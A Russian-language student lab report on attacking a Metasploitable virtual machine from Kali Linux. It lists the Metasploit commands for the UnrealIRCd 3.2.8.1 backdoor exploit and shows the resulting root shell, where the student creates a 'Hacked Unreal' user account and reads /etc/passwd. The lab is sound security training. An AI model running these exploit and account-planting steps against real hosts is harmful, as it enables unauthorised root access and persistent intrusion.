ХОД РАБОТЫ

1.1. Были развернуты виртуальные машины Kali Linux и Metasploitable, подготовленные в рамках выполнения предыдущих лабораторных работ, а также проверена корректность их работоспособности

1.2. Атака на Metasploitable

1.2.1. Сканирование портов Metasploitable

1) Было произведено сканирование портов Metasploitable

1.2.2. Активация эксплоита для использования уязвимости UnrealIRCD.

1) в терминале атакующей машины запущена консоль фреймворка Metaspoitable;

2) Был выведен список эксплоитов по использованию уязвимостей пакета unreal, имеющихся во фреймворке metasploit, с помощью команды search unreal;

3) запущен эксплоит с помощью команды use exploit/unix/irc/unreal_ircd_3281_backdoor;

4) Был выведен список доступных опций для эксплоита с помощью команды show options;

5) установлены значения параметров следующим образом: RHOST MS_IP;

6) активирон эксплоит командой exploit;

7) Проверка успешности атаки, определение имя хоста (имя машины-жертвы), информации о ядре операционной системы, о системном пользователе, от чьего имени осуществлено соединение с системой.

РЕЗУЛЬТАТ РАБОТЫ

```
whoami
root
useradd -m -d /home/ural -c "Hacked Unreal" -s /bin/bash ural
grep ural /etc/passwd
ural:x:1004:1004:Hacked Unreal:/home/ural:/bin/bash
date
Fri Jun 17 00:15:51 EDT 2022
echo "Sadritdinov Ural Fidavisovich"
Sadritdinov Ural Fidavisovich
```